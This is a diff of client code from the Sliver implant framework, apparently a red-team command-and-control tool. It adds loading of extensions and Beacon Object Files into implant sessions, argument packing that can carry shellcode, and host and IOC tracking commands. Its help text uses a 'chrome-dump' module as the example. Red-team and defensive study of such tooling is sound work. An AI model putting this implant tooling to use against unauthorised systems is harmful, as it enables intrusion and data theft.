defaultValue = grumble.Default(0)
case "string", "wstring", "file":
argFunc = a.String
defaultValue = grumble.Default("")
}
if arg.Optional {
argFunc(arg.Name, arg.Desc, defaultValue)
} else {
argFunc(arg.Name, arg.Desc)
}
}
} else {
a.StringList("arguments", "arguments", grumble.Default([]string{}))
}
},
HelpGroup: consts.ExtensionHelpGroup,
}
con.App.AddCommand(extensionCmd)
}
func ListCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s", err)
return
}
if extList.Response != nil && extList.Response.Err != "" {
con.PrintErrorf("Error: %s", extList.Response.Err)
return
}
if len(extList.Names) > 0 {
con.PrintInfof("Loaded extensions:\n")
for _, ext := range extList.Names {
con.Printf("- %s\n", ext)
}
}
}
func loadExtension(ctx *grumble.Context, session *clientpb.Session, con *console.SliverConsoleClient, ext *extensionCommand) error {
var extensionList []string
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
return err
}
// Try to find the extension in the loaded extensions
if len(session.Extensions) == 0 {
extList, err := con.Rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
if extList.Response != nil && extList.Response.Err != "" {
return errors.New(extList.Response.Err)
}
extensionList = extList.Names
} else {
extensionList = session.Extensions
}
depLoaded := false
for _, extName := range extensionList {
if !depLoaded && extName == ext.DependsOn {
depLoaded = true
}
if ext.Name == extName {
return nil
}
}
// Extension not found, let's load it
if filepath.Ext(binPath) == ".o" {
// BOFs are not loaded by the DLL loader, but we make sure the loader itself is loaded
// Auto load the coff loader if we have it
if !depLoaded {
if errLoad := loadDep(session, con, ctx, ext.DependsOn); errLoad != nil {
return errLoad
}
}
return nil
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return err
}
if errRegister := registerExtension(con, ext, binData, session, ctx); errRegister != nil {
return errRegister
}
// Update session info
if filepath.Ext(binPath) != ".o" {
// Don't update session for BOFs, we don't cache them
// on the implant side (yet)
// update the Session info
_, err = con.Rpc.UpdateSession(context.Background(), &clientpb.UpdateSession{
Extensions: extensionList,
SessionID: session.ID,
})
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return err
}
}
return nil
}
func registerExtension(con *console.SliverConsoleClient, ext *extensionCommand, binData []byte, session *clientpb.Session, ctx *grumble.Context) error {
registerResp, err := con.Rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: ext.Name,
Data: binData,
OS: session.OS,
Init: ext.Init,
Request: con.ActiveSession.Request(ctx),
})
if err != nil {
return err
}
if registerResp.Response != nil && registerResp.Response.Err != "" {
return errors.New(registerResp.Response.Err)
}
return nil
}
func loadDep(session *clientpb.Session, con *console.SliverConsoleClient, ctx *grumble.Context, depName string) error {
depExt, f := commandMap[depName]
if f {
depBinPath, err := depExt.getFileForTarget(depExt.Name, session.OS, session.Arch)
if err != nil {
return err
}
depBinData, err := ioutil.ReadFile(depBinPath)
if err != nil {
return err
}
return registerExtension(con, &depExt, depBinData, session, ctx)
}
return fmt.Errorf("missing dependency %s", depName)
}
func runExtensionCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
var (
callExtension *sliverpb.CallExtension
err error
extensionArgs []byte
extName string
entryPoint string
)
session := con.ActiveSession.GetInteractive()
if session == nil {
return
}
ext, ok := commandMap[ctx.Command.Name]
if !ok {
con.PrintErrorf("No extension command found for `%s` command\n", ctx.Command.Name)
return
}
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
if err != nil {
con.PrintErrorf("%s\n", err)
if err = loadExtension(ctx, session, con, &ext); err != nil {
return
}
c, err := ext.getCommandFromName(ctx.Command.Name)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
args := ctx.Args.StringList("arguments")
var extArgs string
if len(c.DefaultArgs) != 0 && len(args) == 0 {
extArgs = c.DefaultArgs
} else {
extArgs = strings.Join(args, " ")
}
entryPoint := c.Entrypoint
processName := ctx.Flags.String("process")
if processName == "" {
processName, err = c.getDefaultProcess(session.GetOS())
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
}
isDLL := false
if filepath.Ext(binPath) == ".dll" {
isDLL = true
}
binData, err := ioutil.ReadFile(binPath)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
var outFilePath *os.File
if ctx.Flags.Bool("save") {
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
@@ -245,86 +314,142 @@ func runExtensionCommand(ctx *grumble.Context, con *console.SliverConsoleClient)
return
}
}
if c.IsAssembly {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: con.ActiveSession.Request(ctx),
IsDLL: isDLL,
Process: processName,
Arguments: extArgs,
Assembly: binData,
Arch: ctx.Flags.String("arch"),
Method: ctx.Flags.String("method"),
ClassName: ctx.Flags.String("class"),
AppDomain: ctx.Flags.String("app-domain"),
})
ctrl <- true
<-ctrl
binPath, err := ext.getFileForTarget(ctx.Command.Name, session.OS, session.Arch)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
isBOF := filepath.Ext(binPath) == ".o"
// BOFs (Beacon Object Files) are a specific kind of extensions
// that require another extension (a COFF loader) to be present.
// BOFs also have strongly typed arguments that need to be parsed in the proper way.
// This block will pack both the BOF data and its arguments into a single buffer that
// the loader will extract and load.
if isBOF {
// Beacon Object File -- requires a COFF loader
extensionArgs, err = getBOFArgs(ctx, binPath, ext)
if err != nil {
con.PrintErrorf("%s\n", err)
con.PrintErrorf("Error: %s\n", err)
return
}
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
if outFilePath != nil {
outFilePath.Write(executeAssemblyResp.GetOutput())
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
} else if c.IsReflective {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
spawnDllResp, err := con.Rpc.SpawnDll(context.Background(), &sliverpb.InvokeSpawnDllReq{
Request: con.ActiveSession.Request(ctx),
Args: strings.Trim(extArgs, " "),
Data: binData,
ProcessName: processName,
EntryPoint: c.Entrypoint,
Kill: true,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
if outFilePath != nil {
outFilePath.Write([]byte(spawnDllResp.GetResult()))
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
extName = ext.DependsOn
entryPoint = commandMap[extName].Entrypoint // should exist at this point
} else {
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
con.SpinUntil(msg, ctrl)
sideloadResp, err := con.Rpc.Sideload(context.Background(), &sliverpb.SideloadReq{
Request: con.ActiveSession.Request(ctx),
Args: extArgs,
Data: binData,
EntryPoint: entryPoint,
ProcessName: processName,
Kill: true,
IsDLL: isDLL,
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
// Regular DLL
extArgs := strings.Join(ctx.Args.StringList("arguments"), " ")
extensionArgs = []byte(extArgs)
extName = ext.Name
entryPoint = ext.Entrypoint
}
ctrl := make(chan bool)
msg := fmt.Sprintf("Executing %s ...", ctx.Command.Name)
con.SpinUntil(msg, ctrl)
callExtension, err = con.Rpc.CallExtension(context.Background(), &sliverpb.CallExtensionReq{
Name: extName,
Export: entryPoint,
Args: extensionArgs,
Request: con.ActiveSession.Request(ctx),
})
ctrl <- true
<-ctrl
if err != nil {
con.PrintErrorf("Error: %s\n", err.Error())
return
}
if callExtension.Response != nil && callExtension.Response.Err != "" {
con.PrintErrorf("Error: %s\n", callExtension.Response.Err)
return
}
con.PrintInfof("Successfully executed %s\n", extName)
if len(callExtension.Output) > 0 {
con.PrintInfof("Got output:\n%s", string(callExtension.Output))
if outFilePath != nil {
outFilePath.Write([]byte(sideloadResp.GetResult()))
outFilePath.Write(callExtension.Output)
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
}
}
}
func getBOFArgs(ctx *grumble.Context, binPath string, ext extensionCommand) ([]byte, error) {
var extensionArgs []byte
binData, err := ioutil.ReadFile(binPath)
if err != nil {
return nil, err
}
argsBuffer := BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
// Parse BOF arguments from grumble
for _, arg := range ext.Arguments {
switch arg.Type {
case "int":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddInt(uint32(val))
if err != nil {
return nil, err
}
case "short":
val := ctx.Args.Int(arg.Name)
err = argsBuffer.AddShort(uint16(val))
if err != nil {
return nil, err
}
case "string":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddString(val)
if err != nil {
return nil, err
}
case "wstring":
val := ctx.Args.String(arg.Name)
err = argsBuffer.AddWString(val)
if err != nil {
return nil, err
}
// Adding support for filepaths so we can
// send binary data like shellcodes to BOFs
case "file":
val := ctx.Args.String(arg.Name)
data, err := ioutil.ReadFile(val)
if err != nil {
return nil, err
}
err = argsBuffer.AddData(data)
if err != nil {
return nil, err
}
}
}
parsedArgs, err := argsBuffer.GetBuffer()
if err != nil {
return nil, err
}
// Now build the extension's argument buffer
extensionArgsBuffer := BOFArgsBuffer{
Buffer: new(bytes.Buffer),
}
err = extensionArgsBuffer.AddString(ext.Entrypoint)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(binData)
if err != nil {
return nil, err
}
err = extensionArgsBuffer.AddData(parsedArgs)
if err != nil {
return nil, err
}
extensionArgs, err = extensionArgsBuffer.GetBuffer()
if err != nil {
return nil, err
}
return extensionArgs, nil
}
func cmdExists(name string, app *grumble.App) bool {
for _, c := range app.Commands().All() {
if name == c.Name {
@@ -335,5 +460,66 @@ func cmdExists(name string, app *grumble.App) bool {
}
func init() {
commandMap = make(map[string]extension)
commandMap = make(map[string]extensionCommand)
}
// BOF Specific code
type BOFArgsBuffer struct {
Buffer *bytes.Buffer
}
func (b *BOFArgsBuffer) AddData(d []byte) error {
dataLen := uint32(len(d))
err := binary.Write(b.Buffer, binary.LittleEndian, &dataLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddShort(d uint16) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddInt(d uint32) error {
return binary.Write(b.Buffer, binary.LittleEndian, &d)
}
func (b *BOFArgsBuffer) AddString(d string) error {
stringLen := uint32(len(d)) + 1
err := binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
dBytes := append([]byte(d), 0x00)
return binary.Write(b.Buffer, binary.LittleEndian, dBytes)
}
func (b *BOFArgsBuffer) AddWString(d string) error {
encoder := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM).NewEncoder()
strBytes := append([]byte(d), 0x00)
utf16Data, err := encoder.Bytes(strBytes)
if err != nil {
return err
}
stringLen := uint32(len(utf16Data))
err = binary.Write(b.Buffer, binary.LittleEndian, &stringLen)
if err != nil {
return err
}
return binary.Write(b.Buffer, binary.LittleEndian, utf16Data)
}
func (b *BOFArgsBuffer) GetBuffer() ([]byte, error) {
outBuffer := new(bytes.Buffer)
err := binary.Write(outBuffer, binary.LittleEndian, uint32(b.Buffer.Len()))
if err != nil {
return nil, err
}
err = binary.Write(outBuffer, binary.LittleEndian, b.Buffer.Bytes())
if err != nil {
return nil, err
}
return outBuffer.Bytes(), nil
}
+2
View File
@@ -41,6 +41,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
localPath := ctx.Args.String("local-path")
remotePath := ctx.Args.String("remote-path")
isIOC := ctx.Flags.Bool("ioc")
if localPath == "" {
con.PrintErrorf("Missing parameter, see `help upload`\n")
@@ -70,6 +71,7 @@ func UploadCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
Path: dst,
Data: uploadGzip,
Encoder: "gzip",
IsIOC: isIOC,
})
ctrl <- true
<-ctrl
+3 -28
View File
@@ -82,31 +82,6 @@ var (
"windows/386": true,
"windows/amd64": true,
}
// validFormats = []string{
// "bash",
// "c",
// "csharp",
// "dw",
// "dword",
// "hex",
// "java",
// "js_be",
// "js_le",
// "num",
// "perl",
// "pl",
// "powershell",
// "ps1",
// "py",
// "python",
// "raw",
// "rb",
// "ruby",
// "sh",
// "vbapplication",
// "vbscript",
// }
)
// GenerateCmd - The main command used to generate implant binaries
@@ -349,11 +324,11 @@ func getTargets(targetOS string, targetArch string, con *console.SliverConsoleCl
target := fmt.Sprintf("%s/%s", targetOS, targetArch)
if _, ok := SupportedCompilerTargets[target]; !ok {
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a Default implant.\n",
con.Printf("⚠️ Unsupported compiler target %s%s%s, but we can try to compile a generic implant.\n",
console.Bold, target, console.Normal,
)
con.Printf("⚠️ Default implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Compile a Default build?"}
con.Printf("⚠️ Generic implants do not support all commands/features.\n")
prompt := &survey.Confirm{Message: "Attempt to build generic implant?"}
var confirm bool
survey.AskOne(prompt, &confirm)
if !confirm {
+1 -1
View File
@@ -50,7 +50,7 @@ func printHelp(con *console.SliverConsoleClient) {
continue
}
} else {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.ExtensionHelpGroup {
if key == consts.SliverHelpGroup || key == consts.SliverWinHelpGroup || key == consts.MacroHelpGroup || key == consts.ExtensionHelpGroup {
continue
}
}
+20 -12
View File
@@ -71,7 +71,7 @@ var (
consts.MigrateStr: migrateHelp,
consts.SideloadStr: sideloadHelp,
consts.TerminateStr: terminateHelp,
consts.LoadExtensionStr: loadExtensionHelp,
consts.LoadMacroStr: loadMacrosHelp,
consts.PsExecStr: psExecHelp,
consts.BackdoorStr: backdoorHelp,
consts.SpawnDllStr: spawnDllHelp,
@@ -89,6 +89,7 @@ var (
consts.WgSocksStr: wgSocksHelp,
consts.SSHStr: sshHelp,
consts.DLLHijackStr: dllHijackHelp,
consts.GetPrivsStr: getPrivsHelp,
// Loot
consts.LootStr: lootHelp,
@@ -369,21 +370,21 @@ Parameters to the Linux and MacOS shared module are passed using the [[.Bold]]LD
screenshotHelp = `[[.Bold]]Command:[[.Normal]] screenshot
[[.Bold]]About:[[.Normal]] Take a screenshot from the remote implant.
`
loadExtensionHelp = `[[.Bold]]Command:[[.Normal]] load-extension <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver extension to add new commands.
Extensions are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the extension file is a reflective DLL or not.
Load an extension:
loadMacrosHelp = `[[.Bold]]Command:[[.Normal]] load-macro <directory path>
[[.Bold]]About:[[.Normal]] Load a Sliver macro to add new commands.
Macros are using the [[.Bold]]sideload[[.Normal]] or [[.Bold]]spawndll[[.Normal]] commands under the hood, depending on the use case.
For Linux and Mac OS, the [[.Bold]]sideload[[.Normal]] command will be used. On Windows, it will depend the macro file is a reflective DLL or not.
Load an macro:
load /tmp/chrome-dump
Sliver extensions have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] extension):
Sliver macros have the following structure (example for the [[.Bold]]chrome-dump[[.Normal]] macro):
chrome-dump
├── chrome-dump.dll
├── chrome-dump.so
└── manifest.json
It is a directory containing any number of files, with a mandatory [[.Bold]]manifest.json[[.Normal]], that has the following structure:
{
"extensionName":"chrome-dump", // name of the extension, can be anything
"extensionCommands":[
"macroName":"chrome-dump", // name of the macro, can be anything
"macroCommands":[
{
"name":"chrome-dump", // name of the command available in the sliver client (no space)
"entrypoint":"ChromeDump", // entrypoint of the shared library to execute
@@ -395,7 +396,7 @@ It is a directory containing any number of files, with a mandatory [[.Bold]]mani
"os":"windows", // Target OS for the following files. Values can be "windows", "linux" or "darwin"
"files":{
"x64":"chrome-dump.dll",
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the extension directory
"x86":"chrome-dump.x86.dll" // only x86 and x64 arch are supported, path is relative to the macro directory
}
},
{
@@ -582,7 +583,10 @@ loot fetch
`
reactionHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s).
[[.Bold]]About:[[.Normal]] Automate commands in reaction to event(s). The built-in
reactions do not support variables or logic, they simply allow you to run verbatim
commands when an event occurs. To implement complex event-based logic we recommend
using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
[[.Bold]]Reactable Events:[[.Normal]]
% 20s Triggered when a new session is opened to a target
@@ -603,7 +607,11 @@ loot fetch
)
reactionSetHelp = fmt.Sprintf(`[[.Bold]]Command:[[.Normal]] reaction set
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
[[.Bold]]About:[[.Normal]] Set automated commands in reaction to event(s).
The built-in reactions do not support variables or logic, they simply allow you to
run verbatim commands when an event occurs. To implement complex event-based logic
we recommend using SliverPy (Python) or sliver-script (TypeScript/JavaScript).
[[.Bold]]Examples:[[.Normal]]
# The command uses interactive menus to build a reaction. Simply run:
+4
View File
@@ -0,0 +1,4 @@
Hosts
======
Command to access and manage host information.
@@ -1,8 +1,8 @@
package c2
package hosts
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -19,34 +19,28 @@ package c2
*/
import (
"net/http"
"net/http/httptest"
"testing"
"context"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
func TestRsaKeyHandler(t *testing.T) {
certs.SetupCAs()
req, err := http.NewRequest("GET", "/test/foo.txt", nil)
// HostsIOCRmCmd - Remove a host from the database
func HostsIOCRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
t.Fatal(err)
}
server, err := StartHTTPSListener(&HTTPServerConfig{
Addr: "127.0.0.1:8888",
})
if err != nil {
t.Errorf("Listener failed to start %s", err)
con.PrintErrorf("%s\n", err)
return
}
rr := httptest.NewRecorder()
handler := http.HandlerFunc(server.rsaKeyHandler)
handler.ServeHTTP(rr, req)
if status := rr.Code; status != http.StatusOK {
t.Errorf("handler returned wrong status code: got %v want %v", status, http.StatusOK)
ioc, err := SelectHostIOC(host, con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.HostIOCRm(context.Background(), ioc)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
}
+107
View File
@@ -0,0 +1,107 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
// HostsIOCCmd - Remove a host from the database
func HostsIOCCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
if 0 < len(host.IOCs) {
con.Printf("%s\n", hostIOCsTable(host, con))
} else {
con.Println()
con.PrintInfof("No IOCs tracked on host\n")
}
}
func hostIOCsTable(host *clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleBold)
tw.AppendHeader(table.Row{"File Path", "SHA-256"})
for _, ioc := range host.IOCs {
tw.AppendRow(table.Row{
ioc.Path,
ioc.FileHash,
})
}
return tw.Render()
}
func SelectHostIOC(host *clientpb.Host, con *console.SliverConsoleClient) (*clientpb.IOC, error) {
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var iocMap = make(map[string]*clientpb.IOC)
for _, ioc := range host.IOCs {
keys = append(keys, ioc.ID)
iocMap[ioc.ID] = ioc
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
ioc := iocMap[key]
fmt.Fprintf(table, "%s\t%s\t\n",
ioc.Path,
ioc.FileHash,
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select an IOC:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> host
for index, option := range options {
if option == selected {
return iocMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
+41
View File
@@ -0,0 +1,41 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"github.com/bishopfox/sliver/client/console"
"github.com/desertbit/grumble"
)
// HostsRmCmd - Remove a host from the database
func HostsRmCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
host, err := SelectHost(con)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
_, err = con.Rpc.HostRm(context.Background(), host)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
con.PrintInfof("Removed host from database\n")
}
+164
View File
@@ -0,0 +1,164 @@
package hosts
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
"errors"
"fmt"
"sort"
"strings"
"text/tabwriter"
"github.com/AlecAivazis/survey/v2"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/desertbit/grumble"
"github.com/jedib0t/go-pretty/v6/table"
)
var (
// ErrNoHosts - No hosts in database
ErrNoHosts = errors.New("no hosts")
// ErrNoSelection - No selection made
ErrNoSelection = errors.New("no selection")
)
// HostsCmd - Main hosts command
func HostsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
if 0 < len(allHosts.Hosts) {
con.Printf("%s\n", hostsTable(allHosts.Hosts, con))
} else {
con.PrintInfof("No hosts\n")
}
}
func hostsTable(hosts []*clientpb.Host, con *console.SliverConsoleClient) string {
tw := table.NewWriter()
tw.SetStyle(table.StyleLight)
tw.AppendHeader(table.Row{
"Hostname",
"Operating System",
"Sessions",
"IOCs",
"Extension Data",
"ID (Short)",
})
for _, host := range hosts {
var shortID string
if len(host.HostUUID) < 8 {
shortID = host.HostUUID[:len(host.HostUUID)]
} else {
shortID = host.HostUUID[:8]
}
tw.AppendRow(table.Row{
host.Hostname,
host.OSVersion,
hostSessionNumbers(host.HostUUID, con),
len(host.IOCs),
len(host.ExtensionData),
shortID,
})
}
return tw.Render()
}
func hostSessionNumbers(hostUUID string, con *console.SliverConsoleClient) string {
hostSessions := SessionsForHost(hostUUID, con)
if 0 == len(hostSessions) {
return "None"
}
sessionNumbers := []string{}
for _, hostSession := range hostSessions {
sessionNumbers = append(sessionNumbers, fmt.Sprintf("%d", hostSession.ID))
}
return strings.Join(sessionNumbers, ", ")
}
func SessionsForHost(hostUUID string, con *console.SliverConsoleClient) []*clientpb.Session {
sessions, err := con.Rpc.GetSessions(context.Background(), &commonpb.Empty{})
if err != nil {
return []*clientpb.Session{}
}
hostSessions := []*clientpb.Session{}
for _, session := range sessions.Sessions {
if session.UUID == hostUUID {
hostSessions = append(hostSessions, session)
}
}
return hostSessions
}
// SelectHost - Interactively select a host from the database
func SelectHost(con *console.SliverConsoleClient) (*clientpb.Host, error) {
allHosts, err := con.Rpc.Hosts(context.Background(), &commonpb.Empty{})
if err != nil {
return nil, err
}
// Sort the keys because maps have a randomized order, these keys must be ordered for the selection
// to work properly since we rely on the index of the user's selection to find the session in the map
var keys []string
var hostMap = make(map[string]*clientpb.Host)
for _, host := range allHosts.Hosts {
keys = append(keys, host.HostUUID)
hostMap[host.HostUUID] = host
}
sort.Strings(keys)
outputBuf := bytes.NewBufferString("")
table := tabwriter.NewWriter(outputBuf, 0, 2, 2, ' ', 0)
// Column Headers
for _, key := range keys {
host := hostMap[key]
fmt.Fprintf(table, "%s\t%s\t\n",
host.Hostname,
host.OSVersion,
)
}
table.Flush()
options := strings.Split(outputBuf.String(), "\n")
options = options[:len(options)-1] // Remove the last empty option
prompt := &survey.Select{
Message: "Select a host:",
Options: options,
}
selected := ""
survey.AskOne(prompt, &selected)
if selected == "" {
return nil, ErrNoSelection
}
// Go from the selected option -> index -> host
for index, option := range options {
if option == selected {
return hostMap[keys[index]], nil
}
}
return nil, ErrNoSelection
}
+4
View File
@@ -0,0 +1,4 @@
Extensions
===========
Wraps external DLLs/tool in Sliver console commands.
+335
View File
@@ -0,0 +1,335 @@
package macros
/*
Sliver Implant Framework
Copyright (C) 2019 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"encoding/json"
"fmt"
"io/ioutil"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/desertbit/grumble"
)
const (
defaultTimeout = 60
windowsDefaultHostProc = `c:\windows\system32\notepad.exe`
linuxDefaultHostProc = "/bin/bash"
macosDefaultHostProc = "/Applications/Safari.app/Contents/MacOS/SafariForWebKitDevelopment"
)
var commandMap map[string]macro
var defaultHostProc = map[string]string{
"windows": windowsDefaultHostProc,
"linux": windowsDefaultHostProc,
"darwin": macosDefaultHostProc,
}
type binFiles struct {
Ext64Path string `json:"x64"`
Ext32Path string `json:"x86"`
}
type macroFile struct {
OS string `json:"os"`
Files binFiles `json:"files"`
}
type macroCommand struct {
Name string `json:"name"`
Entrypoint string `json:"entrypoint"`
Help string `json:"help"`
LongHelp string `json:"longHelp"`
AllowArgs bool `json:"allowArgs"`
DefaultArgs string `json:"defaultArgs"`
MacroFiles []macroFile `json:"extFiles"`
IsReflective bool `json:"isReflective"`
IsAssembly bool `json:"IsAssembly"`
}
func (ec *macroCommand) getDefaultProcess(targetOS string) (proc string, err error) {
proc, ok := defaultHostProc[targetOS]
if !ok {
err = fmt.Errorf("no default process for %s target, please specify one", targetOS)
}
return
}
type macro struct {
Name string `json:"macroName"`
Commands []macroCommand `json:"macroCommands"`
Path string
}
func (e *macro) getFileForTarget(cmdName string, targetOS string, targetArch string) (filePath string, err error) {
for _, c := range e.Commands {
if cmdName == c.Name {
for _, ef := range c.MacroFiles {
if targetOS == ef.OS {
switch targetArch {
case "x86":
filePath = filepath.Join(e.Path, ef.Files.Ext32Path)
case "x64":
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
default:
filePath = filepath.Join(e.Path, ef.Files.Ext64Path)
}
}
}
}
}
if filePath == "" {
err = fmt.Errorf("no macro file found for %s/%s", targetOS, targetArch)
}
return
}
func (e *macro) getCommandFromName(name string) (extCmd *macroCommand, err error) {
for _, x := range e.Commands {
if x.Name == name {
extCmd = &x
return
}
}
err = fmt.Errorf("no macro command found for name %s", name)
return
}
// LoadMacroCmd - Locally load a macro into the Sliver shell.
func LoadMacroCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
dirPath := ctx.Args.String("dir-path")
// retrieve macro manifest
manifestPath := fmt.Sprintf("%s/%s", dirPath, "manifest.json")
jsonBytes, err := ioutil.ReadFile(manifestPath)
if err != nil {
